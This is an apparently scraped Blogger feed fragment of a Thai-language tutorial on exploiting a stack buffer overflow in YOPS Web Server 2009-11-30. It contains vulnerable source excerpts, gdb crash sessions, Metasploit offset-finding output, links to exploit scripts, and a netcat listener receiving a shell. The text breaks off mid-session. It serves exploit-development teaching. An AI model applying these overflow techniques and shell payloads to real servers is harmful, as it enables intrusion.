/&gt;&lt;br /&gt;Compiling ex12_yops2_sc.sctest.c to ex12_yops2_sc.sctest&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;สุดท้ายเมื่อเราเปลี่ยน shellcode ใน exploit เดิม (&lt;a href="https://sites.google.com/site/worawita/files/thtutz/linexp/ex12_yops2.rb?attredirects=0&amp;d=1"&gt;ex12_yops2.rb&lt;/a&gt;) เราจะสามารถยิงกี่ครั้งก็ได้&lt;/p&gt;&lt;pre class="code language-bsh"&gt;&lt;br /&gt;$ nc -nvl 4444&lt;br /&gt;Connection from 127.0.0.1 port 4444 [tcp/*] accepted&lt;br /&gt;id&lt;br /&gt;uid=1000(worawit) gid=1000(worawit) groups=4(adm),20(dialout),24(cdrom),46(plugdev),105(lpadmin),119(admin),122(sambashare),1000(worawit)&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4476954070144250460-7122137787457967491?l=thtutz.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://thtutz.blogspot.com/feeds/7122137787457967491/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://thtutz.blogspot.com/2011/05/exploiting-yops-web-server-2009-11-30_14.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4476954070144250460/posts/default/7122137787457967491'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4476954070144250460/posts/default/7122137787457967491'/><link rel='alternate' type='text/html' href='http://thtutz.blogspot.com/2011/05/exploiting-yops-web-server-2009-11-30_14.html' title='Exploiting YOPS Web Server 2009-11-30 (disable all security options) ต่อ'/><author><name>Worawit (sleepya)</name><uri>http://www.blogger.com/profile/16667985019731254845</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4476954070144250460.post-36376214994598224</id><published>2011-05-08T15:19:00.000+07:00</published><updated>2011-05-08T15:19:58.484+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='writing exploit'/><title type='text'>Exploiting YOPS Web Server 2009-11-30 (disable all security options)</title><content type='html'>&lt;p&gt;เรามาดูตัวอย่างต่อไป ตัวอย่างนี้จะเขียน exploit สำหรับ YOPS Web Server 2009-11-30 ซึ่งได้มีคนเขียน PoC เอาไว้ที่ &lt;a href="http://www.exploit-db.com/exploits/14976/"&gt;http://www.exploit-db.com/exploits/14976/&lt;/a&gt; และ source code ของโปรแกรมก็ให้โหลดจาก exploit-db นะครับ และเหมือนเดิมเรายังคง compile โปรแกรมแบบไม่มีการป้องกันใดๆ&lt;/p&gt;&lt;h4&gt;Installation&lt;/h4&gt;&lt;p&gt;หลังจากที่ได้ source code มาแล้วเราทำการ extract โดยผมได้ทำการแก้ไข &lt;a href="https://sites.google.com/site/worawita/files/thtutz/linexp/yops_Makefile?attredirects=0&amp;d=1"&gt;Makefile&lt;/a&gt; ใหม่ เพื่อที่จะได้ใส่ gcc option จาก command line ได้&lt;/p&gt;&lt;pre class="code language-bsh"&gt;&lt;br /&gt;$ cd&lt;br /&gt;$ tar xjf yops-2009-11-30.tar.bz&lt;br /&gt;...&lt;br /&gt;$ cd swebs&lt;br /&gt;$ wget -O Makefile https://sites.google.com/...&lt;br /&gt;...&lt;br /&gt;$ CFLAGS="-fno-stack-protector -z norelro -z execstack" make&lt;br /&gt;...&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;เมื่อ extract จะได้ 2 directories คือ swebs กับ www ซึ่ง www directory จำเป็นต้องอยู่ใน home directory ถ้าใคร extract ที่ directory อื่นก็ให้ย้ายมาที่ home ก่อนที่จะรันโปรแกรมนะครับ&lt;/p&gt;&lt;h4&gt;Vulnerability&lt;/h4&gt;&lt;p&gt;ถ้าเราดู bug description จาก exploit-db จะเห็นว่าปัญหาอยู่ใน swebs_record_log function ใน swebs.c ตรงที่เรียก sprintf function&lt;/p&gt;&lt;pre class="code language-c linenums:538"&gt;&lt;br /&gt;int swebs_record_log(int log, JOB *job)&lt;br /&gt;{&lt;br /&gt;    int err;&lt;br /&gt;    time_t now;&lt;br /&gt;    char timestr[32];&lt;br /&gt;    char logrec[MAX_REQUEST_LINE_LEN + 1];&lt;br /&gt;&lt;br /&gt;    memset(logrec, 0, sizeof(logrec));&lt;br /&gt;    flock(log, LOCK_EX);&lt;br /&gt;    time(&amp;now);&lt;br /&gt;    ctime_r(&amp;now, timestr);&lt;br /&gt;    timestr[strlen(timestr)-1] = '\0';&lt;br /&gt;&lt;br /&gt;    sprintf (&lt;br /&gt;        logrec,&lt;br /&gt;        "%s\t[%s]\t\"%s\"\t(%d+%d/%d)\t%d",&lt;br /&gt;        job-&amp;gt;client,&lt;br /&gt;        timestr,&lt;br /&gt;        job-&amp;gt;hdr.request_line, // ค่าที่น่าจะเป็น input ของเรา&lt;br /&gt;        job-&amp;gt;response_hlen,&lt;br /&gt;        job-&amp;gt;response_blen_sent,&lt;br /&gt;        job-&amp;gt;response_blen,&lt;br /&gt;        job-&amp;gt;status&lt;br /&gt;        );&lt;br /&gt;&lt;br /&gt;    if (strlen(job-&amp;gt;reason_500)) {&lt;br /&gt;        strcat(logrec, " [");&lt;br /&gt;        strcat(logrec, job-&amp;gt;reason_500);&lt;br /&gt;        strcat(logrec, "]");&lt;br /&gt;    }&lt;br /&gt;    strcat(logrec, "\n");&lt;br /&gt;    err = write(log, logrec, strlen(logrec));&lt;br /&gt;    flock(log, LOCK_UN);&lt;br /&gt;    return 0;&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;จาก code ข้างบนจะเห็นว่าตัวแปรที่น่าจะเราน่าจะควบคุมได้คือ &lt;span class="code"&gt;"job&amp;gt;hdr.request_line"&lt;/span&gt; โดย job กับ hdr เป็น struct และเพื่อให้เข้าใจมากขึ้น เรามาดูรายละเอียดที่ไฟล์ swebs.h และ http.h&lt;/p&gt;&lt;pre class="code language-c"&gt;&lt;br /&gt;// from swebs.h&lt;br /&gt;typedef struct job {&lt;br /&gt;    //...&lt;br /&gt;&lt;br /&gt;    /* filled by parser */&lt;br /&gt;    int parser;&lt;br /&gt;    struct http_request_header hdr;&lt;br /&gt;    char content_type[64+1];&lt;br /&gt;    char error_file[32+1];&lt;br /&gt;    char index_file[128+1];&lt;br /&gt;    //...&lt;br /&gt;    int logger;&lt;br /&gt;} JOB;&lt;br /&gt;&lt;br /&gt;// from http.h&lt;br /&gt;#define MAX_METH_LEN 8&lt;br /&gt;&lt;br /&gt;#define MAX_FILE_LEN 256&lt;br /&gt;#define MAX_PINF_LEN 256&lt;br /&gt;#define MAX_ARGS_LEN 256&lt;br /&gt;#define MAX_URL_LEN (MAX_FILE_LEN + MAX_PINF_LEN + MAX_ARGS_LEN)&lt;br /&gt;#define MAX_HTTP_LEN 16&lt;br /&gt;&lt;br /&gt;#define MAX_REQUEST_LINE_LEN (MAX_METH_LEN + MAX_URL_LEN + MAX_HTTP_LEN)&lt;br /&gt;&lt;br /&gt;#define MAX_HDR_LEN (MAX_METH_LEN + MAX_URL_LEN + MAX_TOTAL_PARM_LEN + 16)&lt;br /&gt;&lt;br /&gt;typedef struct http_request_header {&lt;br /&gt;    /* header buf */&lt;br /&gt;    char buf[MAX_HDR_LEN+1];&lt;br /&gt;&lt;br /&gt;    /* request line */&lt;br /&gt;    char request_line[MAX_REQUEST_LINE_LEN+1];&lt;br /&gt;    char *method;&lt;br /&gt;    char *file;&lt;br /&gt;    char *path_info;&lt;br /&gt;    char *args;&lt;br /&gt;&lt;br /&gt;    char *http;&lt;br /&gt;    int ver;&lt;br /&gt;    int subver;&lt;br /&gt;&lt;br /&gt;    /* general */&lt;br /&gt;    int code;&lt;br /&gt;    int Cache_Control;&lt;br /&gt;&lt;br /&gt;    char *Connection;&lt;br /&gt;    char *Accept;&lt;br /&gt;    char *Host;&lt;br /&gt;    char *Referer;&lt;br /&gt;    char *User_Agent;&lt;br /&gt;} HTTP_REQUEST_HEADER;&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;จาก &lt;span class="code"&gt;"struct job"&lt;/span&gt; เราเดาได้ว่า struct นี้เก็บข้อมูลที่เกี่ยวกับ request ทั้งหมด และ hdr ใน &lt;span class="code"&gt;"struct job"&lt;/span&gt; ใช้เก็บข้อมูลของ http request หลังจากนั้นเรามาหากันว่าโปรแกรมเอา request ที่เราส่งเก็บใส่ตัวแปร &lt;span class="code"&gt;request_line&lt;/span&gt; อย่างไร&lt;/p&gt;&lt;pre class="code language-c"&gt;&lt;br /&gt;$ grep -n request_line *.c&lt;br /&gt;http.c:163:     strncpy(h-&amp;gt;request_line, data, s - data);&lt;br /&gt;main.c:383:             printf("logger #%d: '%s' LOGGED [%d]\n", id, job-&amp;gt;hdr.request_line, job-&amp;gt;status);&lt;br /&gt;swebs.c:370://  printf("\n+++ rqst: '%s'\n", job-&amp;gt;hdr.request_line);&lt;br /&gt;swebs.c:556:            job-&amp;gt;hdr.request_line,&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;จะเห็นว่าบรรทัดที่น่าสนใจคือ "http.c:163:" และเมื่อดู source code จะเห็นว่าอยู่ใน http_parse_request_header function&lt;/p&gt;&lt;pre class="code language-c"&gt;&lt;br /&gt;int http_parse_request_header(char *data, struct http_request_header *h)&lt;br /&gt;{&lt;br /&gt;    int r;&lt;br /&gt;    int ver, rev;&lt;br /&gt;    char *s, *tok, *l, *prm;&lt;br /&gt;&lt;br /&gt;    s = strstr(data, "\r\n"); // หาที่จบของบรรทัดแรก&lt;br /&gt;    strncpy(h-&gt;request_line, data, s - data); // copy ข้อมูลทั้งบรรทัดแรกเข้า request_line&lt;br /&gt;&lt;br /&gt;    /* dealing with method (leading spaces already handled) */&lt;br /&gt;    h-&gt;method = tok = data;&lt;br /&gt;    /* max method !!! */&lt;br /&gt;    while ( !isspace(tok[0]) &amp;&amp; ( (tok-data) &lt; MAX_METH_LEN) )&lt;br /&gt;        tok++;&lt;br /&gt;    if ((tok-data) &gt;= MAX_METH_LEN)&lt;br /&gt;        return -400;&lt;br /&gt;    // ...&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;จากโค้ดจะเห็นว่าฟังก์ชัน &lt;span class="code"&gt;http_parse_request_header&lt;/span&gt; copy ข้อมูลทั้งบรรทัดแรกไปที่ request_line ซึ่งทำให้เกิด buffer overflow ใน heap และทำให้ sprintf ใน &lt;span class="code"&gt;swebs_record_log&lt;/span&gt; function นั้นใส่ค่าของเราลง &lt;span class="code"&gt;logrec&lt;/span&gt; โดยที่ไม่มีการกำหนดขนาดของ &lt;span class="code"&gt;logrec&lt;/span&gt;&lt;/p&gt;&lt;h4&gt;Exploitation&lt;/h4&gt;&lt;p&gt;เรามาลองใส่ input ยาวๆ เพื่อที่จะดูผลว่าเป็นอย่างไร โดยผมจะส่ง request page ด้วยความยาว 2000 ตัวอักษร (&lt;a href="https://sites.google.com/site/worawita/files/thtutz/linexp/ex12_yops_1.py?attredirects=0&amp;d=1"&gt;ex12_yops_1.py&lt;/a&gt;)&lt;/p&gt;&lt;pre class="code language-python"&gt;&lt;br /&gt;print send_request(target_ip, target_port, "GET "+"A"*2000+" HTTP/1.0\r\n\r\n")&lt;br /&gt;&lt;/pre&gt;&lt;pre class="code language-bsh"&gt;&lt;br /&gt;$ gdb ./swebs&lt;br /&gt;...&lt;br /&gt;Opening log (.log/access.log)... OK&lt;br /&gt;Parsing config file (.conf/config)...&lt;br /&gt;'tcp_port' = 8888&lt;br /&gt;...&lt;br /&gt;Creating LOGGER(s) (1 instances)... [New Thread 0xb7fffb70 (LWP 1649)]&lt;br /&gt;OK&lt;br /&gt;MANAGER: 1 jobs in ACCEPTOR-&gt;PARSER queue&lt;br /&gt;errorer #1 has job (status = 404) (.errors/404.html)&lt;br /&gt;swebs: tpp.c:63: __pthread_tpp_change_priority: Assertion 'new_prio == -1 || (new_prio &amp;gt;= __sched_fifo_min_prio &amp;&amp; new_prio &amp;lt;= __sched_fifo_max_prio)' failed.&lt;br /&gt;&lt;br /&gt;Program received signal SIGABRT, Aborted.&lt;br /&gt;[Switching to Thread 0x52beb70 (LWP 1643)]&lt;br /&gt;0x0012d422 in __kernel_vsyscall ()&lt;br /&gt;(gdb)  bt&lt;br /&gt;#0  0x0012d422 in __kernel_vsyscall ()&lt;br /&gt;#1  0x00183651 in raise () from /lib/tls/i686/cmov/libc.so.6&lt;br /&gt;#2  0x00186a82 in abort () from /lib/tls/i686/cmov/libc.so.6&lt;br /&gt;#3  0x0017c718 in __assert_fail () from /lib/tls/i686/cmov/libc.so.6&lt;br /&gt;#4  0x0014f34c in __pthread_tpp_change_priority ()&lt;br /&gt;   from /lib/tls/i686/cmov/libpthread.so.0&lt;br /&gt;#5  0x00147a2d in __pthread_mutex_lock_full ()&lt;br /&gt;   from /lib/tls/i686/cmov/libpthread.so.0&lt;br /&gt;#6  0x0804cb3c in errorer_th (arg=0x804e448) at main.c:313  # crash ที่บรรทัด 313 ใน main.c&lt;br /&gt;#7  0x0014596e in start_thread () from /lib/tls/i686/cmov/libpthread.so.0&lt;br /&gt;#8  0x00226a4e in clone () from /lib/tls/i686/cmov/libc.so.6&lt;br /&gt;(gdb) list 313&lt;br /&gt;308                             goto file_vanished;&lt;br /&gt;309                     };&lt;br /&gt;310&lt;br /&gt;311                     http_set_content_type(job-&amp;gt;hdr.file, job-&amp;gt;content_type);&lt;br /&gt;312                     swebs_send_response(job);&lt;br /&gt;313                     pthread_mutex_lock(&amp;job-&amp;gt;block);  # บรรทัดที่ทำให้ crash&lt;br /&gt;314                     swebs_load_fragment(0, job, &amp;config);&lt;br /&gt;315                     pthread_mutex_unlock(&amp;job-&amp;gt;block);&lt;br /&gt;316                     r = swebs_pass_job_on(sender, job);&lt;br /&gt;317                     CHECK_AND_EXIT(r == sizeof(JOB*));&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;จะเห็นว่าโปรแกรม crash เพราะว่าข้อมูลที่เราใส่เข้าไป เขียนทับส่วนที่สำคัญที่มีผลทำให้โปรแกรม detect เจอข้อผิดพลาดและหยุดการทำงาน หรือพูดง่ายๆ เราใส่ข้อมูลยาวเกินไป (บางครั้งอาจจะเกิด error จาก malloc ที่ detect ได้ว่า heap corrupt เพราะโปรแกรมนี้เป็นแบบ multi-threads แล้วแต่ว่าโปรแกรมทำงาน thread ไหนก่อน)&lt;/p&gt;&lt;p&gt;คราวนี้เรามาดูขนาดที่ไม่ยาวเกินไปบ้าง โดยครั้งนี้จะส่งความยาว 1000 ตัวอักษร (แก้ code เดิมเอาเองนะครับ)&lt;/p&gt;&lt;pre class="code language-bsh"&gt;&lt;br /&gt;(gdb) r&lt;br /&gt;...&lt;br /&gt;Program received signal SIGSEGV, Segmentation fault.&lt;br /&gt;[Switching to Thread 0xb7fffb70 (LWP 1667)]&lt;br /&gt;0x0804cdfc in logger_th (arg=0x0) at main.c:383&lt;br /&gt;383                     printf("logger #%d: '%s' LOGGED [%d]\n", id, job-&amp;gt;hdr.request_line, job-&amp;gt;status);&lt;br /&gt;(gdb) list 383&lt;br /&gt;378                     job = swebs_get_job_from(someone);&lt;br /&gt;379                     CHECK_AND_EXIT(job);&lt;br /&gt;380                     job-&amp;gt;logger = id;&lt;br /&gt;381&lt;br /&gt;382                     swebs_record_log(log, job);  # function ที่มี bug sprintf&lt;br /&gt;383                     printf("logger #%d: '%s' LOGGED [%d]\n", id, job-&amp;gt;hdr.request_line, job-&amp;gt;status);&lt;br /&gt;384                     pthread_mutex_lock(&amp;job-&amp;gt;block);&lt;br /&gt;385                     zfree((void**)&amp;job);&lt;br /&gt;386             };&lt;br /&gt;387     }&lt;br /&gt;(gdb) i r ebp&lt;br /&gt;ebp            0xb7ff000a       0xb7ff000a&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;จะเห็นว่าเกิด error ที่บรรทัด 383 ใน main.c ซึ่งอยู่หลัง function ที่มี bug ซึ่งโดยปกติมันควรจะ overflow เขียนทับ saved eip แล้วโปรแกรมจะ crash ตอนจบ &lt;span class="code"&gt;swebs_record_log&lt;/span&gt; function เพราะ eip ชี้ไปที่ invalid address แต่ครั้งนี้โปรแกรมกลับจบ &lt;span class="code"&gt;swebs_record_log&lt;/span&gt; function ได้ และมา crash ที่ printf ซึ่งทำให้ผมเดาได้ว่าเราได้เขียนทับ saved ebp แต่ไม่ได้เขียนทับ saved eip (ลองคิดดูนะครับ ว่าทำไมผมถึงเดาได้) เพื่อให้รู้สาเหตุ เรามา break ที่ sprintf ใน &lt;span class="code"&gt;swebs_record_log&lt;/span&gt; function&lt;/p&gt;&lt;pre class="code language-bsh"&gt;&lt;br /&gt;(gdb) b swebs.c:551&lt;br /&gt;Breakpoint 1 at 0x804a839: file swebs.c, line 551.&lt;br /&gt;(gdb) r&lt;br /&gt;...&lt;br /&gt;[Switching to Thread 0xb7fffb70 (LWP 2317)]&lt;br /&gt;&lt;br /&gt;Breakpoint 1, swebs_record_log (log=5, job=0x804f228) at swebs.c:551&lt;br /&gt;551             sprintf (&lt;br /&gt;(gdb) print job-&amp;gt;hdr&lt;br /&gt;$1 = {&lt;br /&gt;  buf = "GET\000", 'A' &amp;lt;repeats 1000 times&amp;gt;, "\000HTTP/1.0\000\000\r\n", '\000' &amp;lt;repeats 1823 times&amp;gt;, request_line = "GET ", 'A' &amp;lt;repeats 789 times&amp;gt;,&lt;br /&gt;  method = 0x804f24c "GET", file = 0x80500f9 ".errors/404.html",  # ค่าของตัวแปร file มี 0x00&lt;br /&gt;  path_info = 0x41414141 &amp;lt;Address 0x41414141 out of bounds&amp;gt;,&lt;br /&gt;  args = 0x41414141 &amp;lt;Address 0x41414141 out of bounds&amp;gt;,&lt;br /&gt;  http = 0x804f639 "HTTP/1.0", ver = 1094795585, subver = 1094795585,&lt;br /&gt;  code = 1094795585, Cache_Control = 1094795585,&lt;br /&gt;  Connection = 0x41414141 &amp;lt;Address 0x41414141 out of bounds&amp;gt;,&lt;br /&gt;  Accept = 0x41414141 &amp;lt;Address 0x41414141 out of bounds&amp;gt;,&lt;br /&gt;  Host = 0x41414141 &amp;lt;Address 0x41414141 out of bounds&amp;gt;,&lt;br /&gt;  Referer = 0x41414141 &amp;lt;Address 0x41414141 out of bounds&amp;gt;,&lt;br /&gt;  User_Agent = 0x41414141 &amp;lt;Address 0x41414141 out of bounds&amp;gt;}&lt;br /&gt;(gdb) x/5s job-&amp;gt;hdr.request_line&lt;br /&gt;0x804fd65:       "GET ", 'A' &amp;lt;repeats 196 times&amp;gt;...&lt;br /&gt;0x804fe2d:       'A' &amp;lt;repeats 200 times&amp;gt;...&lt;br /&gt;0x804fef5:       'A' &amp;lt;repeats 200 times&amp;gt;...&lt;br /&gt;0x804ffbd:       'A' &amp;lt;repeats 195 times&amp;gt;, "L\362\004\b", &amp;lt;incomplete sequence \371&amp;gt;&lt;br /&gt;0x8050085:       ""&lt;br /&gt;(gdb) p printf(job-&amp;gt;hdr.request_line)&lt;br /&gt;$8 = 800&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;เมื่อเราดูค่าของ &lt;span class="code"&gt;"job-&amp;gt;hdr"&lt;/span&gt; จะเห็นว่าตัวแปร &lt;span class="code"&gt;method, file&lt;/span&gt; ที่ประกาศหลัง request_line นั้นไม่ได้มีค่าเป็น &lt;span class="code"&gt;0x41414141&lt;/span&gt; และค่าของตัวแปร &lt;span class="code"&gt;file&lt;/span&gt; นั้นมี 0x00 อยู่ด้วย ทำให้ข้อมูลที่เราตั้งใจจะทำให้เกิด overflow โดนเปลี่ยนค่าตรงกลางทำให้ sprintf function ไม่ copy ข้อมูลเราทั้งหมดเข้าไปใน buffer และเขียนทับไปถึงแค่ saved ebp&lt;/p&gt;&lt;p&gt;จาก address ของ &lt;span class="code"&gt;job&lt;/span&gt; ทำให้เรารู้ว่าข้อมูลส่วนนี้ถูกจองใน heap ซึ่งการจองครั้งแรกจะได้ address ที่ 0x00 ที่ตัวแปร &lt;span class="code"&gt;file&lt;/span&gt; เสมอ ดังนั้นถ้าเราลอง request ครั้งแรกปกติ และค่อย overflow ครั้งที่สอง (&lt;a href="https://sites.google.com/site/worawita/files/thtutz/linexp/ex12_yops_2.py?attredirects=0&amp;d=1"&gt;ex12_yops_2.py&lt;/a&gt;)&lt;/p&gt;&lt;pre class="code language-bsh"&gt;&lt;br /&gt;# ยังไม่ออกจาก gdb&lt;br /&gt;(gdb) ignore 1 1&lt;br /&gt;Will ignore next crossing of breakpoint 1.&lt;br /&gt;(gdb) r&lt;br /&gt;...&lt;br /&gt;[Switching to Thread 0xb7fffb70 (LWP 1613)]&lt;br /&gt;&lt;br /&gt;Breakpoint 1, swebs_record_log (log=5, job=0x8050a48) at swebs.c:551&lt;br /&gt;551             sprintf (&lt;br /&gt;(gdb) print job-&amp;gt;hdr&lt;br /&gt;$1 = {&lt;br /&gt;  buf = "GET\000", 'A' &amp;lt;repeats 1000 times&amp;gt;, "\000HTTP/1.0\000\000\r\n", '\000' &amp;lt;repeats 1823 times&amp;gt;, request_line = "GET ", 'A' &amp;lt;repeats 789 times&amp;gt;,&lt;br /&gt;  method = 0x8050a6c "GET", file = 0x8051919 ".errors/404.html",  # ไม่มี 0x00 แล้ว&lt;br /&gt;  path_info = 0x41414141 &amp;lt;Address 0x41414141 out of bounds&amp;gt;,&lt;br /&gt;...&lt;br /&gt;  Referer = 0x41414141 &amp;lt;Address 0x41414141 out of bounds&amp;gt;,&lt;br /&gt;  User_Agent = 0x41414141 &amp;lt;Address 0x41414141 out of bounds&amp;gt;}&lt;br /&gt;(gdb) print printf(job-&amp;gt;hdr)&lt;br /&gt;$2 = 0&lt;br /&gt;(gdb) print printf(job-&amp;gt;hdr.request_line)&lt;br /&gt;GET AAA...&lt;br /&gt;$3 = 875&lt;br /&gt;(gdb) c&lt;br /&gt;Continuing.&lt;br /&gt;&lt;br /&gt;Program received signal SIGSEGV, Segmentation fault.&lt;br /&gt;0x0804a8c1 in swebs_record_log (log=1094795585, job=0x41414141) at swebs.c:563&lt;br /&gt;563             if (strlen(job-&amp;gt;reason_500)) {&lt;br /&gt;(gdb) i f&lt;br /&gt;Stack level 0, frame at 0xb7fff350:&lt;br /&gt; eip = 0x804a8c1 in swebs_record_log (swebs.c:563); saved eip 0x41414141&lt;br /&gt; called by frame at 0xb7fff354&lt;br /&gt;...&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;จะเห็นว่าคราวนี้ เราสามารถ overwrite saved eip ได้แล้ว ถึงแม้ว่าตัวแปร &lt;span class="code"&gt;method&lt;/span&gt; และ &lt;span class="code"&gt;file&lt;/span&gt; จะโดนเปลี่ยน แต่ไม่มี 0x00 และจุดที่ให้สังเกตอีกจุดคือ โปรแกรม crash ที่บรรทัด 563 ใน swebs.c เพราะตัวแปร &lt;span class="code"&gt;job&lt;/span&gt; เก็บค่า address 0x41414141 ซึ่งเป็น invalid address&lt;/p&gt;&lt;p&gt;ถ้าดูที่ code จะเห็นว่าตัวแปร &lt;span class="code"&gt;job&lt;/span&gt; เป็น function argument แสดงว่าอยู่หลัง saved eip และโดยปกติแล้วผมจะพยายามที่จะไม่เขียนทับค่าที่อาจทำให้เกิด access memory ที่ invalid แต่ครั้งนี้จะเห็นว่า &lt;span class="code"&gt;sprintf&lt;/span&gt; นั้นยังคง copy ค่าอื่นๆ ต่อจาก input ของเราแล้ว ดังนั้นถ้าเรา overwrite เฉพาะ saved eip จะทำให้ตัวแปร &lt;span class="code"&gt;job&lt;/span&gt; นั้นชี้ไปที่ invalid address เดี๋ยเราค่อยมาแก้ปัญหาของตัวแปร &lt;span class="code"&gt;job&lt;/span&gt; ตอนนี้เรามาหาว่าเราต้อง input ข้อมูลยาวเท่าไรถึงจะเขียนทับ saved eip พอดี รวมถึงเราจะหาว่ายาวเท่าไรถึงทับ &lt;span class="code"&gt;job&lt;/span&gt; argument ด้วย (ซึ่งรู้อยู่แล้วว่าห่างจาก saved eip 8 bytes เพราะเป็น argument ตัวที่ 2)&lt;/p&gt;&lt;p&gt;ในตัวอย่างก่อนหน้านี้ ผมใช้วิธีดู assembly แล้วคำนวณระยะห่าง แต่ครั้งนี้ผมจะใช้ &lt;span class="code"&gt;pattern_create.rb&lt;/span&gt; กับ &lt;span class="code"&gt;pattern_offset.rb&lt;/span&gt; ซึ่งเป็น tool ที่มากับ metasploit&lt;/p&gt;&lt;pre class="code language-bsh"&gt;&lt;br /&gt;$ /opt/metasploit3/msf3/tools/pattern_create.rb 1000&lt;br /&gt;Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;เมื่อได้ pattern แล้ว นำไปใส่ที่ input ของเรา (&lt;a href="https://sites.google.com/site/worawita/files/thtutz/linexp/ex12_yops_3.py?attredirects=0&amp;d=1"&gt;ex12_yops_3.py&lt;/a&gt;)&lt;/p&gt;&lt;pre class="code language-bsh"&gt;&lt;br /&gt;$ gdb ./swebs&lt;br /&gt;...&lt;br /&gt;(gdb) r&lt;br /&gt;...&lt;br /&gt;[Switching to Thread 0xb7fffb70 (LWP 1724)]&lt;br /&gt;0x0804a8c1 in swebs_record_log (log=1648505954, job=0x36624235) at swebs.c:563&lt;br /&gt;563             if (strlen(job-&amp;gt;reason_500)) {&lt;br /&gt;(gdb) i f&lt;br /&gt;Stack level 0, frame at 0xb7fff350:&lt;br /&gt; eip = 0x804a8c1 in swebs_record_log (swebs.c:563); saved eip 0x42336242&lt;br /&gt; called by frame at 0xb7fff354&lt;br /&gt;...&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;หลังจากได้ค่า saved eip เป็น 0x42336242 และ job เป็น 0x36624235 เรามาหา offset&lt;/p&gt;&lt;pre class="code language-bsh"&gt;&lt;br /&gt;$ /opt/metasploit3/msf3/tools/pattern_offset.rb 0x42336242&lt;br /&gt;819&lt;br /&gt;$ /opt/metasploit3/msf3/tools/pattern_offset.rb 0x36624235&lt;br /&gt;827&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;เมื่อเราได้ offset จาก &lt;span class="code"&gt;pattern_offset.rb&lt;/span&gt; เรามาแก้โค้ดเพื่อทดสอบกันโดยผมจะเขียนทับ saved eip ด้วยค่า "BBBB" (0x42424242) และ job ด้วยค่า "CCCC" (0x43434343) และถ้าเราดูที่ code หรือ log จะเห็นว่า sprintf นั้นได้ใส่ IP address ของ client ที่ต่อไว้ข้างหน้าด้วยเหมือนกับตัวอย่าง orzhttpd ที่แล้ว ทำให้ offset ถึง saved eip ถ้าไม่มี IP address คือ 819+9=828 (&lt;a href="https://sites.google.com/site/worawita/files/thtutz/linexp/ex12_yops_4.py?attredirects=0&amp;d=1"&gt;ex12_yops_4.py&lt;/a&gt;)&lt;/p&gt;&lt;pre class="code language-bsh"&gt;&lt;br /&gt;(gdb) r&lt;br /&gt;...&lt;br /&gt;0x0804a8c1 in swebs_record_log (log=1094795585, job=0x43434343) at swebs.c:563&lt;br /&gt;563             if (strlen(job-&gt;reason_500)) {&lt;br /&gt;(gdb) i f&lt;br /&gt;Stack level 0, frame at 0xb7fff350:&lt;br /&gt; eip = 0x804a8c1 in swebs_record_log (swebs.c:563); saved eip 